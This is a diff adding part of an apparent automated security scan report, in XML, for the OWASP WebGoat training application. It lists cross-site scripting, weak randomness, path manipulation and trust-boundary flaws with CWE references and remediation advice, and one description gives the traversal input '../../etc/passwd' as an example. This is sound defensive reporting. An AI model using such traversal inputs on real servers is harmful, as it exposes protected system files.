+        in a Web Page\" count=\"1\" issueid=\"279\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/images/logos/owasp.jpg\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"280\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/javascript/javascript.js\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"281\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/CommandInjection_files/image005.png\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"284\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/formate.css\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"282\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/HttpSplitting_files/filelist.xml\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"283\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/UncheckedEmail_files/image001.png\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"285\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lessons/General/redirect.jsp\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"286\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lessons/RoleBasedAccessControl/images/orgChart.jpg\"/>\n</dynamicflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"12\" categoryname=\"Cryptographic Issues\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Applications commonly use cryptography to implement authentication
+        mechanisms and to ensure the confidentiality and integrity of sensitive data,
+        both in transit and at rest.  The proper and accurate implementation of cryptography
+        is extremely critical to its efficacy.  Configuration or coding mistakes as
+        well as incorrect assumptions may negate a large degree of the protection
+        it affords, leaving the crypto implementation vulnerable to attack.\"/>\n<para
+        text=\"Common cryptographic mistakes include, but are not limited to, selecting
+        weak keys or weak cipher modes, unintentionally exposing sensitive cryptographic
+        data, using predictable entropy sources, and mismanaging or hard-coding keys.
+        \ \"/>\n<para text=\"Developers often make the dangerous assumption that they
+        can improve security by designing their own cryptographic algorithm; however,
+        one of the basic tenets of cryptography is that any cipher whose effectiveness
+        is reliant on the secrecy of the algorithm is fundamentally flawed.  \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Select the appropriate type of cryptography for the intended purpose.
+        \ Avoid proprietary encryption algorithms as they typically rely on &quot;security
+        through obscurity&quot; rather than sound mathematics.  Select key sizes appropriate
+        for the data being protected; for high assurance applications, 256-bit symmetric
+        keys and 2048-bit asymmetric keys are sufficient.  Follow best practices for
+        key storage, and ensure that plaintext data and key material are not inadvertently
+        exposed.\"/>\n</recommendations>\n<cwe cweid=\"331\" cwename=\"Insufficient
+        Entropy\" pcirelated=\"false\" sans=\"327\">\n<description>\n<text text=\"Standard
+        random number generators do not provide a sufficient amount of entropy when
+        used for security purposes. Attackers can brute force the output of pseudorandom
+        number generators such as rand().\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Insufficient Entropy\" count=\"1\" issueid=\"173\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Math.random\" description=\"Standard
+        random number generators do not provide a sufficient amount of entropy when
+        used for security purposes. Attackers can brute force the output of pseudorandom
+        number generators such as rand().\r\n\r\nIf this random number is used where
+        security is a concern, such as generating a session key or session identifier,
+        use a trusted cryptographic random number generator instead. These can be
+        found on the Windows platform in the CryptoAPI or in an open source library
+        such as OpenSSL. In Java, use the SecureRandom object to ensure sufficient
+        entropy.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/331.html)\r\n\r\n\"
+        note=\"\" cweid=\"331\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"12\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakSessionID.java\"
+        line=\"77\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakSessionID\"
+        functionprototype=\"void &lt;clinit&gt;(void)\" functionrelativelocation=\"75\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"1\" categoryname=\"Directory Traversal\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Allowing user input to control paths used in filesystem operations
+        may enable an attacker to access or modify otherwise protected system resources
+        that would normally be inaccessible to end users.  In some cases, the user-provided
+        input may be passed directly to the filesystem operation, or it may be concatenated
+        to one or more fixed strings to construct a fully-qualified path.\"/>\n<para
+        text=\"When an application improperly cleanses special character sequences
+        in user-supplied filenames, a path traversal (or directory traversal) vulnerability
+        may occur.  For example, an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"73\" cwename=\"External Control
+        of File Name or Path\" pcirelated=\"false\" sans=\"22\" certcpp=\"877\">\n<description>\n<text
+        text=\"This call contains a path manipulation flaw.  The argument to the function
+        is a filename constructed using user-supplied input.  If an attacker is allowed
+        to specify all or part of the filename, it may be possible to gain unauthorized
+        access to files on the server, including those outside the webroot, that would
+        be normally be inaccessible to end users.  The level of exposure depends on
+        the effectiveness of input validation routines, if any.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"238\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The second argument to !operator_javanewinit()
+        contains tainted data from the variable helpFile. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CommandInjection.java\"
+        line=\"171\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.CommandInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"252\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The second argument to !operator_javanewinit()
+        contains tainted data from the variable helpFile. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CommandInjection.java\"
+        line=\"180\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.CommandInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"9\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.FileInputStream.!operator_javanewinit\"
+        description=\"This call to java.io.FileInputStream.!operator_javanewinit()
+        contains a path manipulation flaw. The argument to the function is a filename
+        constructed using user-supplied input. If an attacker is allowed to specify
+        all or part of the filename, it may be possible to gain unauthorized access
+        to files on the server, including those outside the webroot, that would be
+        normally be inaccessible to end users. The level of exposure depends on the
+        effectiveness of input validation routines, if any. The first argument to
+        !operator_javanewinit() contains tainted data from the variable fileName.
+        The tainted data originated from earlier calls to javax.servlet.http.HttpServletRequest.getHeader,
+        javax.servlet.ServletRequest.getParameterValues, javax.servlet.http.HttpServletRequest.getCookies,
+        and javax.servlet.ServletRequest.getParameterNames.\r\n\r\nValidate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible. When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/73.html)
+        \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\" note=\"\"
+        cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"LessonTracker.java\"
+        line=\"238\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.LessonTracker\"
+        functionprototype=\"LessonTracker load(WebSession, java.lang.String, Screen)\"
+        functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"39\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The first argument to !operator_javanewinit()
+        contains tainted data from the variable file. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"PathBasedAccessControl.java\"
+        line=\"136\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.PathBasedAccessControl\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"22\" categoryname=\"Encapsulation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Encapsulation is about defining strong security boundaries governing
+        data and processes. Within an application, it might mean differentiation between
+        validated and unvalidated data, between public and private members, or between
+        one user's data and another's.  \"/>\n<para text=\"In object-oriented programming,
+        the term encapsulation is used to describe the grouping together of data and
+        functionality within an object and the ability to provide users with a well-defined
+        interface in a way which hides their internal workings.  Though there is some
+        overlap with the above definition, the two definitions should not be confused
+        as being interchangeable.\"/>\n</desc>\n<recommendations>\n<para text=\"The
+        wide variance of encapsulation issues makes it impractical to generalize how
+        these issues should be addressed, beyond stating that encapsulation boundaries
+        should be well-defined and adhered to.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"501\" cwename=\"Trust
+        Boundary Violation\" pcirelated=\"false\">\n<description>\n<text text=\"A
+        trust boundary violation occurs when a program blurs the line between what
+        is trusted and what is untrusted.  This application mixes trusted and untrusted
+        data in the same data structure.  By doing so, it becomes easier for programmers
+        to mistakenly trust unvalidated data.  Without well-established and maintained
+        trust boundaries, programmers will inevitably lose track of which pieces of
+        data have been validated and which have not. This confusion will eventually
+        allow some data to be used without first being validated.  A common manifestation
+        of this flaw is in J2EE application, when a Session object is used to store
+        untrusted data from the HTTP request.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Trust Boundary Violation\" count=\"1\" issueid=\"246\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.http.HttpSession.setAttribute\"
+        description=\"This call to javax.servlet.http.HttpSession.setAttribute() mixes
+        trusted and untrusted data in the same data structure, thereby encouraging
+        programmers to mistakenly trust unvalidated data. The second argument to setAttribute()
+        contains tainted data from the variable value. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        storing untrusted data alongside trusted data in the same data structure.
+        Establish and maintain trust boundaries for data storage.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/501.html)\r\n\r\n\" note=\"\"
+        cweid=\"501\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"22\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DefaultLessonAction.java\"
+        line=\"89\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DefaultLessonAction\"
+        functionprototype=\"void setSessionAttribute(session.WebSession, java.lang.String,
+        java.lang.Object)\" functionrelativelocation=\"64\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Weaknesses in this category are related to an absent or incorrect protection
+        mechanism that fails to properly validate input that can affect the control
+        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
+        input from untrusted sources before it is used. The untrusted data sources
+        may include HTTP requests, file systems, databases, and any external systems
+        that provide data to the application. In the case of HTTP requests, validate
+        all parts of the request, including headers, form fields, cookies, and URL
+        components that are used to transfer information from the browser to the server
+        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
+        server side. This should be simple to implement in terms of time and difficulty,
+        and will greatly reduce the likelihood of insecure parameter values being
+        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"472\" cwename=\"External
+        Control of Assumed-Immutable Web Parameter\" pcirelated=\"false\">\n<description>\n<text
+        text=\"The web application does not sufficiently verify inputs that are assumed
+        to be immutable but are actually externally controllable, such as hidden form
+        fields. Ruby on Rails provides convenient methods (new, create, create!, update_attributes,
+        update_attributes!) for easily creating or updating instances of an application's
+        model. Multiple attributes can be updated at once with the key/value pairs
+        of a hash. If this hash is created using data under an attackers control,
+        such as the result of an HTML form submission, additional values may be included
+        beyond those intended. If those additional keys match the names of attributes
+        on the model, they may be updated as well.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"3\" categoryname=\"External Control of Assumed-Immutable Web Parameter\"
+        count=\"1\" issueid=\"274\" module=\"manual_analysis\" type=\"\" description=\"The
+        application send emails on behalf of the user. The contents of the message
+        and the delivery address are controllable by the client. \" note=\"\" cweid=\"472\"
+        remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"25\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
